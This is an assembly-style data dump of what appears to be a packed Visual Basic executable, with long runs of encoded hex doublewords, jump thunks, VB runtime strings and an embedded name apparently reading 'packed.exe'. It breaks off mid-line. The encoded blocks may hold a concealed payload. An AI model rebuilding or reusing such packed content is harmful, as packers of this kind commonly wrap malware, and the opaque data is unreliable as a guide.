8A01C0FDh, 0E7A42142h, 47E7E216h, 16D69310h dd 0EB36E7E2h, 9F1E55A0h, 16E6A320h, 0A746E7E2h, 0DB18635Ah dd 7C31686Eh, 0F48FDAEFh, 0DC4106BFh, 5D2893EFh, 0AA133F04h dd 4392D0h, 9D6E0000h, 6AE9205Dh, 0FF3C8B83h, 7C1F6092h dd 0B02DACEFh, 0EFDC2EF3h, 7ACB0853h, 0DE5D942Fh, 0DC2EA461h dd 35887EEFh, 0EB364F9Ah, 6A05BC4Ch, 0BC75E21Fh, 49EFDC2Eh dd 75BE13DEh, 4CD0AA25h, 0D4h, 0D19C6D28h, 552C8D34h, 0A7D9AFC7h dd 0CA69044Fh, 4CEB863Fh, 0CA6904BDh, 0BEFB8233h, 0E7E244D7h dd 2A6150A9h, 45712EABh, 86D1E7E2h, 2AE38A49h, 0A203BA47h dd 99B42274h, 23BE09E9h, 0CE4B74B4h, 0E7E22811h, 8F36D271h dd 45C2F944h, 0EF7C3C0Bh, 1C931A65h, 523289DCh, 0CCD1EE46h dd 9FEA853Ch, 55D20954h, 0F7715F15h, 54FD347Fh, 18358DDBh dd 0DE4D8AEBh, 2CB30AF7h, 3417885h, 1D68A2CCh, 0BE2E713Ch dd 0A3000001h, 2BD2596Ch, 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h dd 69038A33h, 942DD87Ah, 2095660Dh, 0AD18F299h, 378E7F26h dd 8D0A79B0h, 0EFE27AD0h, 6DC3F730h, 8D24D590h, 0D9240B42h dd 5BA645E0h, 1BDA1762h, 0F52C8574h, 2BC6FF0Eh, 0E8E4A3E0h dd 0E9205D9Dh, 76C9C16Ah, 3E4EB82Dh, 0E2C604C1h, 0CE1964E7h dd 0CEF22491h, 115CEF7Ch, 0DF884176h, 9615EFDCh, 0D16C53AFh dd 23EE4986h, 0AAF565CEh, 0B45CD0h, 6D380000h, 0EB8A259Ch dd 0D70CA71Eh, 0E7E21BF0h, 437A4BC2h, 0D613AA5Ch, 0D4997017h dd 0A8438E27h, 36A6F139h, 96882CFh, 7B245BA6h, 0A4047114h dd 3AA9E6F9h, 7D2483BDh, 9740BFEFh, 0B61D4BFDh, 16D30860h dd 76EFDDA0h, 529DEE2Bh, 0D71454CBh, 0ED3E23A0h, 0A3EEF771h dd 4178856Ch, 0CFF613BAh, 67380491h, 0B2F5C01Dh, 0D1h dd 0BF467F90h, 4AD1E018h, 0D96067A3h, 62E9DC32h, 0F0774EBBh dd 38C54D56h, 0B853FA81h, 2DDF860Dh, 9D6C139Ah, 0F7669D24h dd 0E27BBD7Ah, 0B0E41DEFh, 0A229906Dh, 0AD5F02FBh, 95347F1Ah dd 6AB55067h, 0B01E81Fh, 99D621BCh, 9C6DDEDAh, 12EB8A25h dd 65A51CA3h, 8B72F128h, 9A074473h, 0DFE1E9D2h, 0E786216Ch dd 8BF4B16h, 4EF736BDh, 4191CE77h, 0A77EBBFFh, 8DC45F56h dd 26635AA6h, 5888ADB9h, 0F5C0DB3Ch, 6D54B198h, 11A05930h dd 472AE38Ah, 0DE9B18BBh, 3E4C810Ah, 0C20DA8F3h, 0CB3DDC77h dd 0E1FC59F4h, 0B3BE4F16h, 0EC236E59h, 0EB7E0F43h, 54201CCh dd 0F45E0746h, 22903451h, 9232B112h, 63422396h, 7BE4F26h dd 3296Ch, 0DA050000h, 239A6DB6h, 0A110E988h, 22956706h dd 0A213E887h, 249D6807h, 0A61FEA89h, 239A6C0Bh, 0A61DE988h dd 259C6C0Bh, 0C968FA8Ah, 89000071h, 0A468243Ch, 8900003Eh dd 868241Ch, 8900002Fh, 5351242Ch, 5771BBh, 5BD98908h dd 5459CB89h, 83242C8Bh, 0B85004C4h, 8, 854A732Dh, 5E8016Ch dd 6C854A73h, 8B581889h, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 2434FF5Ch, 4C4835Bh, 0FAEE9FE9h, 0A8A21CFFh dd 6619B897h, 0C5030800h, 3A09E0FFh, 5FEB2C01h, 0E2F8101Eh dd 86A757BAh, 24EA623Dh, 0C27548FCh, 97103BDh, 44A85F20h dd 0EDDC0AAAh, 347942B3h, 595D7236h, 15257D89h, 0A32B2046h dd 12E81529h, 2D000000h, 0CF6D753Eh, 0EF4C9E79h, 0F03F36D2h dd 0A1895216h dd 0CE816667h, 665A307Fh, 0AD38E081h, 6C16C281h, 0CE80000h dd 0E8000000h, 14E402BAh, 0EE3729F7h, 66C16E83h, 63EC881h dd 0E56DBB58h, 0C3810257h, 0FDA8356Ah, 880F50h, 58000000h dd 8E0F0A8Bh, 4, 0EA04BF66h, 0B488C181h, 0C28B3BECh, 70A1C181h dd 0BF0F74BBh, 0B0C181F2h, 0F3E53CCh, 589h, 1A09BE00h dd 605113DDh, 0C850Fh, 7E90000h, 6B000000h, 0E3EE57C5h dd 10E95490h, 0DD000000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h dd 6139D52Fh, 8150028Fh, 0CFC824EEh, 0EA835F62h, 1EB8304h dd 0FF92850Fh, 0B70FFFFFh, 161E9C0h, 2B7B0000h, 60DD41E9h dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h dd 652E6465h, 6578h, 3Ah dup(0) db 0 align 2 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 align 4 dd 0E9000000h, 1A85h, 6AAC68h, 15FEE908h, 0B668FFFAh, 0E908006Bh dd 0FFFA15F4h, 6CA768h, 15EAE908h, 6568FFFAh, 0E908006Dh dd 0FFFA15E0h, 6DA468h, 15D6E908h, 8968FFFAh, 0E908006Eh dd 0FFFA15CCh, 6EF068h, 15C2E908h, 4868FFFAh, 0E908006Fh dd 0FFFA15B8h, 761468h, 15AEE908h, 0A568FFFAh, 0E9080076h dd 0FFFA15A4h, 775068h, 159AE908h, 1868FFFAh, 0E9080078h dd 0FFFA1590h, 78A368h, 1586E908h, 6C68FFFAh, 0E9080079h dd 0FFFA157Ch, 79EF68h, 1572E908h, 7568FFFAh, 0E908007Ah dd 0FFFA1568h, 803F68h, 155EE908h, 5068FFFAh, 0E9080081h dd 0FFFA1554h, 81E668h, 154AE908h, 0C650FFFAh, 1DF5A2D8h dd 779E4B81h, 0CB44F127h, 21F09DD3h, 5E13477Dh, 0CC029C75h dd 73A9F51Fh, 1E544AC6h, 0C6FCA271h, 20839FF7h, 4607E6ECh dd 6CA729E0h, 0D142A732h, 533697CDh, 0C7617D0Dh, 0DB07E0ADh dd 6BD4CA46h, 0AD4DB4E0h, 0D65707E0h, 19F84D1Ch, 0D70FDF85h dd 75406EB4h, 37h, 0CA96F306h, 9C501E3Ah, 0F54E07E0h, 0FAF01A6Ah dd 38F3DC3h, 62C93DE3h, 6C07E0FDh, 0D6231EBh, 0E40D9806h dd 0EDEFAA6Ah, 0B85E720Ah, 6F77B0E8h, 0C34E40h, 0A7DF0000h dd 42A7326Ch, 0DF44CFCFh, 8FDF6A34h, 1DC3DB3Ah, 0C5FBA370h dd 6ED1ED2Dh, 94FFE683h, 8B13FFh, 54C86ED7h, 0FFE68739h dd 59BCD818h, 87FFE687h, 138B892Eh, 4B53C06Dh, 0F3AB6815h dd 263A4F68h, 0A7DC7A96h, 0B10A07E0h, 0F16F1A7Bh, 89024561h dd 0D7300FDDh, 431FF247h, 1C45D0CEh, 41D07DB3h, 20289F5Dh dd 0F02B9998h, 181951h, 0DBC35300h, 841AF8A5h, 2A74A14Eh dd 0D6C847F4h, 801EF3A0h, 7A61164Ah, 24D10797h, 0CB78AEF0h dd 76235945h, 0FCCB019Dh, 0ED2588A4h, 0E54B07E6h, 346AA72Eh dd 0A2C04FA4h, 7DA6316Dh, 0BA608914h, 5A44CF7Ch, 0DD9A75CAh dd 0E6835EC1h, 0C22B84FFh, 2A680E37h, 8E96F373h, 668F1A84h dd 83516DFDh, 9F07E09Bh, 288FBB46h, 3207E09Bh, 0B8F0F7B1h dd 56406EA7h, 0E0h, 326CA7E7h, 0CFCF42A7h, 87FD1844h, 0D43FFFE6h dd 0F5103ACAh, 21EF3876h, 0C75F9D43h, 1B086B87h, 0D52EFFE7h dd 0D191822Fh, 6AF55E40h, 0E5013851h, 0FFE71B82h, 0ABC757B0h dd 0FFE71B48h, 1CAC156Eh, 0E13C6200h, 0E4008007h, 7E13B81h dd 271245AFh, 51EDFD55h, 0E8497FE8h, 52FBFA1h, 0DC5D1F1Ah dd 0F28A3030h, 184088B2h, 37E90A83h, 0E0E2B81Bh, 1C85DE07h dd 0C1AE0276h, 23B80FDDh, 0B343ACF2h, 0B5EBB35Eh, 0D7950908h dd 999866F6h, 0F7F1E59h, 5D000017h, 2AFE5B9h, 0AB588E10h dd 51FE346Ah, 0FDAAE0BEh, 20548A14h, 118D846Bh, 0B8E62EDBh dd 633BD582h, 0B93802Dh, 92AE06D5h, 7E6EE2Fh, 0BC38EF55h dd 661A2392h, 0B258CD04h, 0BA560C05h, 0CED03FE4h, 8F80D565h dd 7E2B690Fh, 1CD30995h, 35F792BCh, 0A6A2523Ah, 0DEC05300h dd 59B90E4Eh, 9B76D945h, 0DA38FFE6h, 0CF1039C4h, 0D83DD076h dd 0CC2D633Bh, 0E913A3BDh, 0D82AA3E7h, 3ABD1BC5h, 6849711h dd 0BCE233D8h, 0CA620831h, 0E123F4AEh, 0D23DD207h, 0B5E927CCh dd 0D98012Ah, 0E0DB7AE1h, 49038407h, 6EE30A42h, 9DA840h dd 7B390000h, 90D0B963h, 89E2E400h, 77D007E0h, 3141D63Ah dd 5633DC7Bh, 8C5E7A0Ah, 9ADB4144h, 0EC9DB641h, 0B3877063h dd 2D960142h, 9DF7819Dh, 92EBDC7Eh, 3866AD02h, 0E0BE5502h dd 0F932B122h, 0C05F9A4Ah, 161Eh, 0A0D6C84Eh, 497F1FF3h dd 0EF25799Ch, 9BD1CD42h, 457B23EEh, 9E735C11h, 0F71DCA00h dd 4CC471A7h, 0A46F1C52h, 9DF5C4FAh, 0E6EF1E81h, 27DE4407h dd 0EF0B6CA7h, 0FFE6838Ch, 68F861BAh, 98ED553Eh, 45EB6897h dd 60D62B2h, 0F891F298h, 2BCD868h, 0E007E187h, 7B9A5187h dd 0ED428263h, 0C5EE7925h, 0E682F659h, 1DC31CFFh, 506CCDBCh dd 0FFE682EDh, 0C151BA13h, 4FF5A96Ch, 89999BB7h, 0E43D07E0h dd 84D243A7h, 8DFC8F09h, 0BB247A97h, 0A03D0F2Bh, 106988B3h dd 431D6C85h, 30D97B3h, 4998F0Dh, 1B4B7C11h, 2AF4D68Eh dd 73C858C1h, 1BC8FEA0h, 0F5E8A6F8h, 56194B8Dh, 15607C1Bh dd 0A0C0000h, 61B15E94h, 0BB5A073Dh, 0F00ADE3h, 65AC598Fh dd 1ACF0339h, 88BEE031h, 2F6539DBh, 0DA108E82h, 82B8E62Dh dd 0DC3F5BB3h, 0A07E6F0h, 6CA7EDA4h, 0E66B7432h, 9DD8999Eh dd 1521FEh, 0D3CB4B00h, 7C22F09Dh, 227C9946h, 0CED03FECh dd 7826EB98h, 72590E42h, 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh dd 0F4C3F9A5h, 0F01D809Ch, 0DD4307E6h, 326CA726h, 65FB8EA7h dd 0A663B9D5h, 166F07E0h, 0C21A5C86h, 8440305Dh, 0BEC7A0DEh dd 5BEB7514h, 0BC580A06h, 0C5EE79E2h, 3A9F520h, 3F4D4F6Bh dd 0D52A0FDBh, 0E7C7503Dh, 0DE838A0Ah, 5A44D075h, 0AA016BB4h dd 2BEAED1Bh, 0F045D53Eh, 0D6395522h, 0FCFFE725h, 4F943AA3h dd 8FDDD6EBh, 0B75CB19Ch, 0D83B57E7h, 0FE9C8E9Dh, 0EB9EFFA5h dd 2EBBE575h, 0BD871BAh, 0D2EE862Ch, 0A4892600h, 2942CD26h dd 54700060h, 0A336C8CAh, 0CFCF43D8h, 22B21B44h, 26D0B8E2h dd 891B3513h, 0C1DD36E3h, 72D5F131h, 0A09C9614h, 0B663A147h dd 7283415Dh, 0DD053177h, 143C03A2h, 0E6300000h, 3DD582B8h dd 977E2B61h, 0EB24D107h, 41D07DB3h, 3EF3275Dh, 0ACE2BC55h dd 538915FFh, 0FE346AA6h, 0A6DCC251h, 637FD7h, 2607E6F1h dd 7DE009C0h, 54FFE683h, 8395F814h, 62BBFFE6h, 92E148BCh dd 7DE4FFE6h, 5CFFE6A3h, 839D001Ch, 6AC3FFE6h, 82E950C4h dd 60B3FFE6h, 0E68B803Eh, 95D0999Eh, 13D5F6h, 1F7F9700h dd 0C8D63CE9h, 6E30E592h, 1A848B38h, 0C4DA37E4h, 0BEA55A8Eh dd 68154B53h, 0FBCF2ACh, 0BA679D01h, 400F4559h, 0F169CCE8h dd 319707E6h, 0A867BC7Ah, 9AEF50F6h, 301A36C6h, 0B607E098h dd 0A6EC634Ch, 5FB4C99Ch, 228BB43Fh, 0A60EFBB9h, 6419E64h dd 137D67h, 7727EF00h, 207E9441h, 0C6D83DEAh, 722CE390h dd 1C828F3Ch, 16FDB2E6h, 0C06DA3FBh, 67144A54h, 12BFF5A9h dd 98679D01h, 0F2C12440h, 89EF07E6h, 607CBCD2h, 0FFE682FDh dd 7724CA23h, 1277029Ch, 14129D01h, 0DA1AE9A3h, 0E6835BBEh dd 8A3089FFh, 748B82BAh, 1F2038h, 0E0B10000h, 0FFE68379h dd 98CED043h, 42093C24h, 0A7F78200h, 3CE1BD52h, 3920C6D8h dd 1306h, 326CA7D2h, 65FB8EA7h, 0E7BDABD5h, 0E16BCEEAh dd 4099FFE6h, 827C2EC6h, 462844DCh, 6C07E18Ch, 26598313h dd 822E692Eh, 3D9EDC82h, 5A84144Ch, 1EEB5AA8h, 34CC72E9h dd 0DAFA8A18h, 34BF180Fh, 153146CFh, 0FFE6CBB2h, 8E1E87E0h dd 1DC3DB39h, 1DF247DFh, 27CDF681h, 0E6CB4DB3h, 65FD15FFh dd 4069F4AAh, 0CB3194B0h, 65FFFE6h, 58BA679Dh, 0BC56BB46h dd 0A3B57E2h, 0F8A66C50h, 0D7BAF2C2h, 19583874h, 8000002h dd 0DBB398DEh, 13FC38E4h, 0C57C228Bh, 3ACA96F3h, 0E0A65C1Eh dd 2FE63B07h, 15BBE46Fh, 0ABE362CCh, 92FA3E26h, 0F383E602h dd 58B107E0h, 90A5FEFh, 0F75CEF95h, 0A04D831Bh, 86E90572h dd 0AC07E0F3h, 335FEA53h, 7E103CCh, 0D8BC76B7h, 0CD2E643Ah dd 0F814A4BCh, 0FDAE47Ah, 1F840F68h, 0C976ACF2h, 0A3FB1A48h dd 1E83AF3Ah, 5FFE6E3h, 0EE516DADh, 14FFE6E2h, 0DA9415BBh dd 3F5FB60Bh, 38E58BB4h, 0F78FC5D9h, 0E3389BB7h, 16FAFFE6h dd 93D4FD88h, 227C953Ah, 67C86E97h, 92AE3E22h dd 7E1181Ch, 0CB2E4ACAh, 9507E0D7h, 7099247Ah, 0E26DD62Fh dd 0D208967Dh, 702EE53Ah, 0A8F61DCAh, 0D78EF11Dh, 307107E0h dd 1D819276h, 0C6D83AE7h, 263CD63Bh, 0C04BB4EAh, 1C5CA4h dd 7E0D79Dh, 43C46AC3h, 316DA589h, 0E2F32BFBh, 0AC91406Eh dd 22000000h, 47236AA7h, 2C028AEAh, 0FD62ED56h, 78396314h dd 3284BB27h, 2B096CD8h, 0DE37FFE7h, 86CEEA75h, 40BAE431h dd 378CBB49h, 64E58B39h, 534BC6AAh, 3A154D1Dh, 70B33875h dd 44000000h, 0FD607CBCh, 23FFE682h, 9C7724CAh, 0E7277702h dd 0E68368CBh, 8F358EFFh, 0E26D31E2h, 810C927Dh, 1EA9F51Ch dd 1A9638Ch, 11D5DA5h, 0FFE6839Eh, 44C56BC4h, 316DA68Ah dd 8AF32BFBh, 2C913874h, 22000000h, 3ACA96F3h, 0E0B8A81Eh dd 52DD3607h, 0E0B7BF26h, 138B8907h, 0B1ED2388h, 0F1ABD426h dd 0A963E449h, 6EBF6AA2h, 7E0840h, 0BC990000h, 6AF5A967h dd 4F3A9B41h, 0F658111h, 0EC07E0B8h, 7A207E97h, 2B739C31h dd 830E77A0h, 74D7F333h, 0A207E0B8h, 1CF6A349h, 739F4C82h dd 0D73BA02Bh, 0EF203CC7h, 0DDC15135h, 0C49FD7A7h, 2C3D406Eh dd 0CE000000h, 37C799F3h, 0E683981Bh, 5AE53E7Fh, 0E683C72Eh dd 813B647Fh, 31C1A3E9h, 0E6819215h, 57E740FFh, 0EB910D02h dd 0EC6ADh, 0BC5F0000h, 66F1AD67h, 41B0973Dh, 49000000h dd 0A5306EA7h, 96CCD240h, 0EA7529E9h, 16A6BED1h, 8357BAD6h dd 0F919FFE6h, 0B0F11AA5h, 7844DD57h, 9F774B87h, 0D23A66F9h dd 0F0FFE770h, 76AEB56Fh, 5D3873A1h, 7920C08h, 0F95738DEh dd 0E800000Ah, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0F657FD26h dd 1844CF99h, 8991B82Ch, 2D4FE96h, 0B0132FDCh, 0D68991D5h dd 0FF07037Dh, 1DA8F61Fh, 64E58BF4h, 6BA3AAh, 4009C220h dd 9A000000h, 0FD607CBCh, 23FFE682h, 49D550CAh, 0DB098718h dd 0B1BBD435h, 2A20521h, 77D0FFE7h, 0CFFFC0ECh, 40C1A95Ah dd 358DB786h, 0DAC44D3Fh, 0FB91E360h, 7A208915h, 0E79772AAh dd 25710E1h, 0F3A10000h, 0DA15C49Ch, 900E055Ah, 7F36DC05h dd 1AF66CA7h, 22C4DF73h, 4FB82364h, 1C40A3BFh, 0D66FFE7h dd 680FF5A4h, 0F0AE67BCh, 83327A4Ah, 4DD03774h, 80000000h dd 2CB7E72Bh, 0B87C8F2h, 9F084BB4h, 9CF342F9h, 0A0BC15C4h dd 0FFE6833Ah, 0BC600F68h, 306EA75Dh, 0D6C84BA0h, 6F2FE64Bh dd 0AC52BBE4h, 0BC4AA9F5h, 62F2AC67h, 0E682E346h, 12B811FFh dd 362Bh, 838EE300h, 36C32DFh, 0F2A94F78h, 15C49CF3h, 833AA0BCh dd 2D46FFE6h, 0D992BC7Eh, 4AE71C5Fh, 9EFD953Bh, 0A0306EA7h dd 82E14460h, 7A0FFFE6h, 0F79D0698h, 0E04AA940h, 9C34F737h dd 132F48C9h, 9C34F6B0h, 0DE147DD6h, 4ABCE231h, 0A8315CB5h dd 33F7EB5Bh, 0DB70E24Bh, 79DE6935h, 1F78039Bh, 0F842CE6h dd 23F0D48Eh, 0A2C1EB7Bh, 7AA1E518h, 6D0A4FF5h, 0F53BCA6h dd 0A9349D01h, 25A51780h, 40D4FDFBh, 52F809A4h, 0A7102179h dd 580A09EDh, 335CE7B7h, 23F08DCAh, 5F89097Bh, 2DA38E60h dd 2EDB8137h, 3052B8E3h, 27809C35h, 78B850B5h, 22ADF123h dd 302A8DF9h, 0FF589C35h, 3A1ED859h, 0EB88C5D9h, 5CED7826h dd 0EBA5E60Dh, 5E940A07h, 0FDA171C6h, 3569AA57h, 0B8E32EC3h dd 9C353052h, 68B52780h, 7A997D37h, 0D13F9424h, 731942CDh dd 957CA62Eh, 20CD883h, 60DBA60h, 61B30898h, 227C983Dh dd 2D82027Ch, 0E2ABAE4h, 9C34FBABh, 1DA80D9h, 0EFA912A6h dd 5996080Bh, 0B74757BCh, 0F0CDAD8Dh, 6F154AC1h, 754B75F5h dd 295FB875h, 0B1600DB3h, 95167BEDh, 821CF7DBh, 6CA79E45h dd 3BDA8332h, 0F0AE67BCh, 0B0A3E94Ah, 1014F8h, 30ED249Eh dd 0F29D841h, 833C8468h, 2ADA3774h, 6B000000h, 18C799F3h dd 0F4AA67BCh, 29A4069h, 0E68380E6h, 0A655AEFFh, 6BA75DBCh dd 67BC8433h, 416AF5A9h, 6D91F09Bh, 49h, 607CBC06h, 0FFE682FDh dd 0A8C8B923h, 48BEF40Bh, 0B4D839DFh, 7CBC03B2h, 0C8988552h dd 32D80984h, 0E70258BEh, 9C4B64FFh, 0E9277CBCh, 9F089679h dd 3F5BEB14h, 0FFE683DCh, 540BB10Ah, 84336BA7h, 0FC1469A9h dd 48EE17A2h, 94A4E091h, 0BB9AFFE6h, 0FFFFFD30h, 8379E054h dd 8FFFE6h, 5A9A3268h, 0E683DB3Eh, 336BA5FFh, 0E53E7FA8h dd 83D63955h, 0A3FCFFE6h, 9DC550FDh, 38C32C72h, 0E683A90Ch dd 631D46FFh, 0D208967Fh, 7BB1ED25h, 65F0721Ah, 3CD71F39h dd 0C7079F42h, 3CD648ABh, 6F156E42h, 0F52D34EEh, 937ACADDh dd 1EFh, 837AE024h, 0F990FFE6h, 3DBBD767h, 0A907E0A1h dd 0A86D1A50h, 0DB1B6BF6h, 0E0A05CBFh, 44035107h, 4C88F846h dd 6E38B20Bh, 8B3B1ABh, 5EB46107h, 0C250B540h, 513851DCh dd 15637F0Fh, 110FDB2Ah, 0B115FAB8h, 0FB36999Eh, 0CB15Ch dd 435BBB00h, 0ECB2600Dh, 920C09B6h, 3E60AF5Ch, 0E8B65B08h dd 0E2C97EB2h, 8C396F2Fh, 33E01688h, 0DE8BC1DDh, 64336935h dd 0F98DF00Ch, 4DB307E6h, 0F66CA796h, 8C17801Eh, 0BA4A1673h dd 0E6EBFF9Eh, 0B4449D07h, 63EEB05Fh, 0EB94F713h, 69C207E6h dd 9A68600h, 2ED7DAE9h, 7A9BF088h, 0D441EE24h, 7E653BB9h dd 7692AE65h, 7E6A713h, 167FE841h, 0B1ED268Bh, 0A87C0D26h dd 7E20F56Dh, 1CAC15h, 0FE0CFCEh, 0AC7D3B94h, 0AF9664EAh dd 0C20D574h, 0CA4C0000h, 21F19ED4h, 7B9A477Dh, 0CF40ED23h dd 25EC99CFh, 5A0F4379h, 0C8FEA071h, 6FA5F91Bh, 1A504EC2h dd 0C2F8A66Dh, 1C7F9BF3h, 4A07E6F9h, 6CA72DE4h, 1B841AF6h dd 12127790h, 0E7109B03h, 0A0D2EE7Eh, 7707E08Ah, 23AEF022h dd 68C525E9h, 55BE1E6Ah, 0D70D66AFh, 7FB5E92Ah, 65F56B1Eh dd 0E17FB549h, 0F888E10Fh, 4A7F07CEh, 0BD63530Fh, 5945D025h dd 0FF9F7623h, 9A040F74h, 6E8ACA0Ah, 0FE14C0Bh, 1174E039h dd 60FE14Ch, 4A61EB1Eh, 45D9EFBh, 0D7B2CB5Eh, 0ABDDF989h dd 0B717DB1Ch, 0BFC3A05Eh, 8DC8919Eh, 0B75EEh, 7F1FF700h dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0FAC92C48h dd 91F707E6h, 326CA7DAh, 100257A7h, 34DA038Eh, 0A699B6D3h dd 3A46E92Ah, 85A1319Ah, 7E13973h, 117490D0h, 3F07E139h dd 9EF740E6h, 4757BB68h, 0EDB16411h, 4ACA1FB7h, 0F3F7AE54h dd 0E53ACA96h, 0BBE46F2Fh, 0E83D7D15h, 0BFE8732Bh, 0AA2FA519h dd 429B07E0h, 0A9248BB7h, 0AD2E07E0h, 40CF24F3h, 4AAD35Eh dd 6EB4FC34h, 7C9A40h, 0A72B0000h, 43A8336Bh, 0DF44CFCFh dd 93E36E30h, 42CDD13Eh, 4CC67319h, 0CEBB1C52h, 74E60292h dd 6207E091h, 0EB864B09h, 2E699E64h, 0AAD8Fh, 4757BF00h dd 0F0AE6411h, 96080DBAh, 425CB360h, 0ECB25F0Ch, 0E6CD82B6h dd 903D732Bh, 37E41A84h, 0E28FC5D9h, 68376D31h, 0FB91F410h dd 59BF07E6h, 226BA7A2h, 0EC0ECACBh, 8F0F0463h, 0A087BD26h dd 78h, 0FEE2E58h, 0A7CA5331h, 6BA74A01h, 838DF00Ch, 5AB3FFE6h dd 3C4D66F1h, 38549424h, 0FFE683D5h, 2D28A2FBh, 0CBBE70DFh dd 0B8D46C12h, 7E0ED6Ah, 6ACDE929h, 9807E0EDh, 0F750993Fh dd 648C7E39h, 73124D9Eh, 0A22h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h dd 97CDD13Eh, 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h dd 0A86B184Eh, 99F1C0F6h, 0E6FB1A7Dh, 2BE24807h, 0A2326CA7h dd 4FDAC44Dh, 88ED8026h, 2388138Bh dd 0BD22ADF1h, 67C04B53h, 8ECC742Eh, 245C631Dh, 0C238748Bh dd 1E1h, 0E9937B53h, 1430C0A0h, 7E08A12h, 82D767C0h, 21660C92h dd 7831F9BDh, 3A5696FBh, 0F45431D7h, 9DFEA4FDh, 8FE474ECh dd 0DA721886h, 0D4CA459Ah, 53CCBA2Eh, 851AFC4Eh, 1E940E90h dd 47C7611Bh, 0E27B21Bh, 1555E57Bh, 0A54B53C0h, 7BE5A731h dd 69A63BFBh, 0E73CCC35h, 8DE2722Ch, 68911C82h, 3CD784C2h dd 0FB9DA462h, 73AE6DF4h, 959D4h, 9B031300h, 445AB865h dd 0EAB4610Eh, 960807B4h, 405EB360h, 3A21D60Ah, 0E491C7D7h dd 8B386E30h, 36E31985h, 0BC8BC1DDh, 0FBE54864h, 0A50B07E6h dd 336BA7EEh, 66FA8FA8h, 0EBE4BAD6h, 99F207E6h, 3E60B409h dd 0F71B7008h, 81B93E96h, 0D53E7BEAh, 0C92822Fh, 3F216881h dd 783D93AFh, 10690FE1h, 0B5E92B80h, 11BDE77Fh, 0C24A543Ah dd 0C94BF89Eh, 0BC257999h, 5747CC31h, 64DEB299h, 0BF5E9996h dd 8D6h, 0E81E8096h, 91C7D73Bh, 376D31E4h, 0E319858Ah dd 8DC3DB36h, 56BBA459h, 0AF651248h, 40CB9EFh, 5CB7649Ah dd 0E53D0C42h, 0E6FC66C9h, 6F268C07h, 836DC8F4h, 0D902FFE6h dd 56AB331Fh, 0D93AE0BEh, 420B0B0h, 7E086AEh, 0D0CE47DCh dd 0AA916756h, 1F880434h, 14254F8Fh, 0C79573Fh, 9B7A27CDh dd 1D6CCD03h, 0BA97B343h, 0E40FDDD8h, 66BBFB8Bh, 0A24FF5A9h dd 4AF72D71h, 3A17D5C9h, 0D9998B7h, 85033D2h, 0FA1C0000h dd 51C16EA4h, 0AB6A174Dh, 0FF10BDF3h, 55BC699Fh, 2ADF1349h dd 98CED041h, 3F7529EBh, 0EA207E92h, 92C8D63Dh, 0EC4F6BC3h dd 1A07E6FCh, 79E0FDB4h, 43FFE683h, 3798CED0h, 627E0E52h dd 7E0D261h, 2E34DF34h, 62FBAE4h, 55AEF79Dh, 0FEA070C5h dd 0A9F51BC8h, 728ECE1Eh, 7E0D20Fh, 4F36DC35h, 7EAh, 0B996F3E8h dd 0CEFEFFBBh, 967D2261h, 0EB547D08h, 79C13F5Bh, 0C41D07E1h dd 0D8940A34h, 2D4ED9D7h, 7AA4F487h, 0DCDF509Ch, 848B309Fh dd 9900741Ah, 0A307E099h, 29616822h, 0C7406EA5h, 18Eh dd 0B81B3777h, 0DE07E08Dh, 6E30E085h, 5D14BAE3h, 0F1AD67BCh dd 8C120166h, 40D07D23h, 0A55E624Dh, 157EA92Ah, 0BFDF3085h dd 0D2650B34h, 5B075882h, 0C05A6C4Ah, 0F7A76D1Ah, 920C076Ch dd 306EA207h, 0DBC34DFAh, 0D7D60050h, 0FBC81A42h, 36C32E0h dd 0D48EFC5Dh, 0F5FD2844h, 3F94FFE6h, 1C8292D0h, 6BC40DB3h dd 6B254EE0h, 0D5048987h, 0EFB818E4h, 0D56DA30Ch, 0E9167995h dd 0E33CFFE6h, 1E80903Dh, 0E9F86793h, 1555FFE6h, 0C14C52C0h dd 0B771F298h, 2B613DD3h, 12A2C0CAh, 0B5CA8D2h, 4A77F69Fh dd 71D530A4h, 92EBFFE7h, 43A6C202h, 71FFE771h, 7ADF7218h dd 21CE049Ah, 0D020ABF3h, 71117490h, 0E63FFFE7h, 0F7809340h dd 0E77178DBh, 0B5459EFFh, 0E7713699h, 9A035CFFh, 260B50Ah dd 0DC05900Eh, 0A83ACD73h, 33E1C57Fh, 8C88356Bh, 0E2378712h dd 69CA702Eh, 70B04020h, 17BDD446h, 1BC14C6Dh, 0E16D25A7h dd 2389107h, 54DFBF55h, 45A8C404h, 6B07E168h, 7F0B6C12h dd 0D63551E1h, 0B507E168h, 67F65975h, 0C31C07E1h, 0F07BD41Dh dd 89148A8Bh, 28B3EB24h, 0BB36D96h, 72561039h, 2EC6FCA2h dd 0DA6539D9h, 0B65E0BB1h, 45445DE8h, 696F8B1Bh, 550FDB92h dd 0FB19C6FCh, 0FCE913A3h, 52833F1Fh, 99247A9Bh, 0B1620770h dd 5C0947EDh, 55AEAB4h, 0EB4E6A0Dh, 19FFE74Ah, 60B257C0h dd 0C25A983Eh, 1476D198h, 3ADABDC2h, 47B0D964h, 96F3EAA1h dd 0D0FA3ACAh, 1AC6C883h, 54C86EFCh, 7E10B72h, 8816FC51h dd 0E52ED4FDh, 769C018Ch, 0F33BF228h, 0EC3CC799h, 95207E97h dd 0EB52C66Ch, 0F5FFE682h, 7BB3BA74h, 1938748Fh, 22h, 29C74C9h dd 6BA7A55Ch, 197CA833h, 0B6FFE683h, 23EFD38Dh, 0AED1457Bh dd 0ACFFE6A8h, 0FFFFC2CDh, 6CA766FFh, 0F5801EF6h, 0C1B463CCh dd 0C799F352h, 845F1618h, 3774833Ch, 3BDAh, 0DD358A00h dd 0F3641BC1h, 0BC18C799h, 82FD607Ch, 69EAFFE6h, 0D837ACA8h dd 4BF14A8Bh, 0D13497B3h, 962FFE6h, 37CC4F79h, 0F4ACA00Fh dd 